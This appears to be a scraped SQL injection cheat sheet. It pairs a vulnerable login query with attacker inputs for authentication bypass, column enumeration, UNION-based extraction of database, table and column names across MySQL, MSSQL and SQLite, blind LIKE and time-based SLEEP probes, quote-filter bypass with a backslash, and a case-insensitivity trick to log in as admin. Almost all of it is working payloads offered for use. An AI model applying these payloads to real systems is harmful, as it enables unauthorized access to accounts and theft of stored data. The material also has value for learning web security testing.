[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
- [$input_user] :
' UNION SELECT 1,2,3.. FROM table_name --
- [$input_user] :
' ORDER BY n --
[If we get error for n, then n-1 will be no of columns]
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
- [$input_user] :
' OR 1=1 LIMIT 1 --
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
- [$input_user] :
' UNION SELECT 1,@@version,database() --
- [$input_user] :
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
- [$input_user] :
' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()
- [$input_user] :
' UNION SELECT table_name, column_name, 1 FROM information_schema.columns
-
SELECT F.4 FROM (SELECT 1, 2, 3, 4 UNION SELECT * FROM users)F;
will fetch 4th column ofusers
.It works because the column names of the table derived from the subselect are the values of the leftmost
SELECT
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
- [$input_user] :
' UNION SELECT 1,@@version,db_name(i) --
[Here i is the i-th database present] - [$input_user] :
' UNION SELECT 1,@@version,name FROM master..sysdatabases --
[In MsSQL, if second colums is username
then the payload ' UNION SELECT 1,1,name FROM master..sysdatabases --
won't work , second column MUST be a string. Interesting !!]
In sqlite sqlite_master replaces information_schema
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
[$input_user] : ' UNION SELECT sqlite_version()
[$input_user] : ' UNION SELECT name FROM sqlite_master WHERE type='table'
[$input_user] : ' UNION SELECT sql FROM sqlite_master WHERE type='table' AND tbl_name = 'table_name'
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
- [$input_user] :
' WHERE EXISTS(SELECT * FROM table_name WHERE username LIKE "%a%") --
[It will ask whether a user with letter "a" or "A" containing in his name] - [$input_user] :
' WHERE EXISTS(SELECT * FROM table_name WHERE username LIKE "__a%") --
[It will ask whether the letter is at 3rd place or NOT]
HERE %
,_
are WILDCARDS. %
matches any string and _
matches only one character
-
By default, LIKE is case-insensitive
[$input_user] :
' WHERE EXISTS(SELECT * FROM table_name WHERE username LIKE BINARY "%a%") --
[To make a case sensitive search, use BINARY right after LIKE]
[Vulnearable code] : SELECT * FROM table_name WHERE username='$input_user' AND pass='$input_pass'
-
[$input_user] :
' OR (SELECT SLEEP(10) FROM table_name WHERE username='something') --
-
[$input_user] :
' OR IF(username='something',SLEEP(10),0) --
[Produces a delayed response if username=
something
exists]
-
[$input_user] :
' OR CONDITION='true' AND 1=randomblob(100000000) --
[Produces a delayed response if CONDITION='true']
-
,
usingJOIN
SELECT 1,2,3 FROM users
:SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-
Bypassing filtered
'
[quote] (special case)
<?php
$name = preg_replace("'","",$name);
$pass = preg_replace("'","",$pass);
SELECT * FROM users WHERE username='name' and password='pass'
[attack] => user = \
& pass = OR 1=1 --
-
mysql
does a case insensitive search by default and also ignores the trailing spacesHow to exploit that?
A username
Admin
can be created and it can be used to sign-in asadmin